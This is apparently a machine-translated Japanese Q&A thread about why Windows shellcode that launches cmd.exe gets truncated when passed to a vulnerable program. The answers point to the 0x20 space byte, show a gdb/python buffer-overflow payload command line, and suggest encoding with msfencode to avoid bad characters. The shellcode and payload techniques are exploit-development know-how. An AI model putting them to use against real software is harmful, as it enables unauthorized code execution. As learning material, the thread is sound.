0

\x20シェルコードが文字列によってコピーされて2番目の脆弱なプログラムにスタックされるときに、シェルコードがオペコードの後に​​切り捨てられるのはなぜですか?

--cmd.exe--
 char shell [] =

"\ xc7 \ x44 \ x24 \ x0c \ x65 \ x78 \ x65 \ x20"←十分なスペースがありますが、この行だけがスタックに入れられます
"\ xc7 \ x44 \ x24 \ x08 \ x63 \ x6d \ x64 \ x2e"
"\ x31 \ xc0"
"\ x89 \ x44 \ x24 \ x04"
"\ x8d \ x44 \ x24 \ x08"
"\ x89 \ x04 \ x24"
"\ x8d \ x05 \ xad \ x23 \ x86 \ x7c"
"\ xff \ xd0";
-シェルの終了--
4

4 に答える 4

2

このシェルコードをコマンドライン引数として渡していますか? その場合は、0x20 の ASCII コードを見てください ;)

于 2010-03-18T02:33:27.890 に答える
2

コマンド全体を二重引用符で囲みます。たとえば、次を実行します。

"$shellcode" (gdb)r "$(python -c 'print "\x41" * 100 + "\x20\x83\x04\x08" + ....')"
于 2013-02-02T17:17:52.667 に答える
1

私の理論では、引用符、スペース、ヌルなどは、送信されるのではなく、Windows シェルによって解釈されます。なんとかエスケープできますが、シェルコードをエンコードするだけの方が簡単だと思います。したがって、これらのオペコードを完全に回避するには、metasploit の msfencode ユーティリティを試してください。ヌル (/x00)、スペース (/x20)、クォート (/x22) を直接渡すことはできませんが、他にも渡すことができないオペコードがあると思います。

それが私の解決策ですが、他のより良い解決策を知っている人はいますか?

于 2011-03-10T05:03:56.853 に答える